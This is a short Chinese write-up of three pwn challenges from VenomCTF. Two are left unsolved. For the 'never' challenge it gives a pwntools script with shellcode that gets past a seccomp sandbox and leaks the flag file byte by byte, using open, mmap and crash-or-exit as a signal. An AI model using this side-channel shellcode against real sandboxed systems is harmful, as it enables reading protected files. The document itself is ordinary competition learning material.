VenomCTF WP

good_night

初看朝阳东升,不解题中意,再看四野寂寂,已成题中人

指早八看到这道题晚八还没解出来,good night

程序有栈溢出,反复地读然后复制到会越界的地方,约等于一个多一字节溢出,可以把返回地址改成leave ret

然后给了一个bss段读,可以进行布置,开始rop。

题目说预期解是ret2ld,又提示可以考虑使用ret2dl来泄漏libc地址,再提示ret2dl不单可以调用函数也可以尝试调用libc中的gadget,总结下来就是不会

never

一个沙盒环境,禁了execve、read、write及部分变体,然后给了一个固定的页并执行

考虑ORW,open没有禁,read可以用mmap映射完成读,但是w缺失,考虑用一些状态间接反应

调试时发现程序段错误会有输出,启动脚本会报错,所以经过设计,逐字节mmap 当前目录下的flag文件,然后和指定字符比较,如果一致转去执行一个触发段错误的指令,不一致则exit,无报错输出

然后爆破:

from pwn import *
context(arch='amd64', os='linux', log_level='debug',terminal = ['tmux', 'splitw', '-h'])

HOST = '47.98.117.93'
PORT = 53698

def test_char(position=0, test_value=102):
    """测试指定位置的字符是否等于test_value"""
    
    log.info(f"测试: flag[{position}] == {test_value} ('{chr(test_value)}')?")
    
    s = remote(HOST, PORT)
    s.recvuntil(b"ideas!")
    
    shellcode = asm(f'''
        mov r14, 0xDEADB800
        mov dword ptr [r14], 0x67616c66
        
        mov r15, 0xDEADB100
        mov byte ptr [r15], 0x0f
        mov byte ptr [r15+1], 0x05
        mov byte ptr [r15+2], 0xc3
        
        mov rdi, 0xDEADB800
        xor rsi, rsi
        mov rax, 2
        call r15
        mov r12, rax
        
        xor rdi, rdi
        mov rsi, 100
        mov rdx, 1
        mov r10, 2
        mov r8, r12
        xor r9, r9
        mov rax, 9
        call r15
        
        mov rbx, rax
        add rbx, {position}
        mov dl, byte ptr [rbx]
        mov cl, {test_value}
        cmp dl, cl
        je crash
        
        xor rdi, rdi
        mov rax, 60
        call r15
        
        crash:
        mov rax, 0xdeadbeef
        mov rbx, qword ptr [rax]
    ''')
    
    s.send(shellcode.ljust(0x200, b'\x90'))
    
    s.interactive()

if __name__ == '__main__':
    test_char(?,?)

magic

除了一个栈溢出似乎什么也没有

提示需要用到两个magic gadget

找了半天只找到一个add DWORD PTR [rbp-0x3d],ebx,不会用

总结

坏消息是只解出一道题

好消息是pwn的三道题除了这道never都是0解,magic甚至官方没放wp(打算明年接着用……